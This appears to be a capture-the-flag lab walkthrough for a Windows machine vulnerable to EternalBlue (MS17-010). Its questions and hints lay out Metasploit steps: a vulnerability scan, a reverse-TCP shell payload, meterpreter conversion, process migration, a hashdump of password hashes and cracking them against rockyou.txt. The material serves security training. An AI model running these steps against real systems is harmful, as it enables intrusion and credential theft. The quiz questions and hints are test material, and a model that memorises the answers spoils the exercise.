🪟Blue
Deploy & hack into a Windows machine, leveraging common misconfigurations issues.
Subscription Required
False [Free]
Type
Walkthroughs
Difficulty
Medium
Tags
Windows, Eternal Blue, MS17-010, CVE2017-0144
Video Walkthrough
Task 1 Recon
Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
HINT: Command: nmap -sV -vv --script vuln TARGET_IP
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How many ports are open with a port number under 1000?
HINT: Near the top of the nmap output: PORT STATE SERVICE
What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
HINT: Revealed by the ShadowBrokers, exploits an issue within SMBv1
Task 2 Gain Access
Start Metasploit
HINT: Command: msfconsole
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Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)
HINT: search ms??
Show options and set the one required value. What is the name of this value? (All caps for submission)
HINT: Command: show options
Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: set payload windows/x64/shell/reverse_tcp With that done, run the exploit!
set payload windows/x64/shell/reverse_tcp With that done, run the exploit!HINT: Command: run (or exploit)
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Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
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Task 3 Escalate
If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
HINT: Google this: shell_to_meterpreter
Select this (use MODULE_PATH). Show options, what option are we required to change?
Set the required option, you may need to list all of the sessions to find your target here.
HINT: sessions -l
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Run! If this doesn't work, try completing the exploit from the previous task once more.
HINT: Command: run (or exploit)
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Once the meterpreter shell conversion completes, select that session for use.
HINT: sessions SESSION_NUMBER
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Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
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List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
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Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
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Task 4 Cracking
Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
Copy this password hash to a file and research how to crack it. What is the cracked password?
HINT: This password can be found within the rockyou.txt wordlist
Task 5 Find flags!
Flag1? This flag can be found at the system root.
HINT: Can you C it?
Flag2? This flag can be found at the location where passwords are stored within Windows.
*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.
HINT: I wish I wrote down where I kept my password. Luckily it's still stored here on Windows.
flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
HINT: You'll need to have elevated privileges to access this flag.
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